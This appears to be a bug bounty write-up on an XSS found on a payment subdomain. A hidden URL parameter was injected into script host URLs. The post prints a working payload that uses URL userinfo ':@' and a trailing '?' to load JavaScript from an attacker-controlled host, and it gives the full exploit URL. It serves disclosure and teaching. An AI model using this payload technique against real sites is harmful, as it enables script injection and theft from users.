Payment Page XSS: Bypassing Strict Sanitization through URI Structure

Sometimes, the best lessons in web development and security come from staring at a seemingly bulletproof application until its underlying mechanics finally crack. We had been deep in the trenches with this specific target for months, successfully hunting down tens of bugs across its entire ecosystem. Yet, despite all that time, my teammate 0xryz and I realized we had completely overlooked the main payment page simply because it was isolated on a separate subdomain. This experience turned out to be a massive crash course in how browsers actually parse URLs and how dynamic host injection can bypass strict input filters. By breaking down exactly how this payload came together, anyone building or testing web apps can learn why trusting user input with core web mechanics is always a dangerous game.
The Fuzzing Phase & The Lead
Picture this: we had been grinding on this application for months. We knew it inside and out, and we honestly thought we had tested every single feature. But then, it hit me, we hadn't looked at the main payment page. Because it was hosted on a completely separate domain, bill.target.com, it had flown under our radar. It felt like fresh snow, so I immediately started digging in.
At first, the standard parameters weren't giving me anything to work with. I started fuzzing, just throwing everything I had at the wall to see what would stick. Eventually, I discovered a hidden, undocumented parameter: scooter.
Naturally, I wanted to see how the app handled it, so I gave it a basic test value:
https://bill.target.com/billing/cart/checkout/payment?flow_from=all_plans&scooter=test.com
The page loaded completely blank.
If you've spent any time building or poking at web apps, you know a blank page is usually a great sign, it means something broke under the hood. I opened up the page source and found this absolute beauty:
<script nonce=""></script>
<script src="https://bill.test.com.scooter.target-dev.com/billing/client/locales/en-us.js"></script>
<script src="https://bill.test.com.scooter.target-dev.com/billing/client/js/vendors.js"></script>
<script src="https://bill.test.com.scooter.target-dev.com/billing/client/js/spp_galileo_v3.js"></script>
The application was taking whatever I typed into the scooter parameter and recklessly injecting it straight into the host URL where it loaded its JavaScript files. This was a massive lead for a Cross-Site Scripting (XSS) vulnerability. I immediately called 0xryz, and we jumped on a call to figure out how to exploit it.
The Roadblock: Sanitization
Normally, you'd just try to break out of the HTML tag with something like "></script><script>alert(1)</script> and call it a day. But the server was smart, it was strictly sanitizing our inputs.
Since we couldn't force inline execution, we had to get creative and use the behavior we just discovered. We controlled the host. If we could trick the application into loading our own remote JavaScript file instead of the target's legitimate files, the browser would just execute it automatically.
We hosted our malicious JS payload at lolamero-xss.ma. But if we just blindly dropped our domain into the parameter, the resulting HTML looked like this:
<script src="https://bill.lolamero-xss.ma.scooter.target-dev.com/billing/client/locales/en-us.js"></script>
The browser would try to look up that entire, mangled Frankenstein of a URL, fail, and our script would never run. We were boxed in. We had a junk prefix (bill.) and a junk suffix (.scooter.target-dev.com/billing...) wrapped around our payload.
The Art of URL Manipulation
To break out of this box, you have to step away from just throwing payloads and actually understand the fundamental rules of how browsers parse URLs.
A standard URL follows a very specific structure:
scheme://username:password@host:port/path?query_string#fragment
We used this exact, built-in browser logic to surgically insert our domain and trick the browser into ignoring the garbage text on both sides.
1. Neutralizing the Suffix with a Query String (?)
First, we had to chop off the end (.scooter.target-dev.com/billing/client...). By simply adding a question mark ? at the end of our injected payload, we told the browser: "Hey, everything that comes after this point is just a query parameter. It's not part of the actual file path or the domain."
2. Neutralizing the Prefix with Basic Auth (:@)
Getting rid of the bill. at the beginning was much trickier. To solve this, we used the username:password@ component of the URL structure. By injecting :@ right before our domain, we forced the browser to interpret the bill. prefix as an empty username and password combination.
So, https://bill.:@lolamera.bxss.in essentially tells the browser to authenticate using the credentials "bill." (with a blank password) to our actual host, lolamera.bxss.in.
The Final Execution
By stacking these two standard web mechanics together, our final payload, safely URL-encoded, looked like this:
&scooter=:%40lolamera.bxss.in/?
When we dropped that into the full URL:
https://bill.target.com/billing/cart/checkout/payment?flow_from=all_plans&scooter=:%40lolamera.bxss.in/?
The browser parsed the resulting script tag beautifully, separating it out exactly how we wanted:
Credentials:
bill.Host:
lolamera.bxss.in(Our payload!)Query Parameters:
/.scooter.target-dev.com/billing...
The browser successfully ignored the junk, reached out to our server, and executed the payload.
When we checked the results, we realized the cookies on the bill subdomain were strictly for analytics, meaning we couldn't escalate the exploit to a full Account Takeover (ATO). But getting arbitrary JavaScript execution by weaponizing the browser's own URL parsing rules against it is still an incredible lesson in web mechanics. It proves that simply sanitizing characters like < and > is never enough when the application's underlying logic is fundamentally flawed. Because of the limited impact of the cookies, the bug was ultimately triaged and rewarded as a Medium severity.





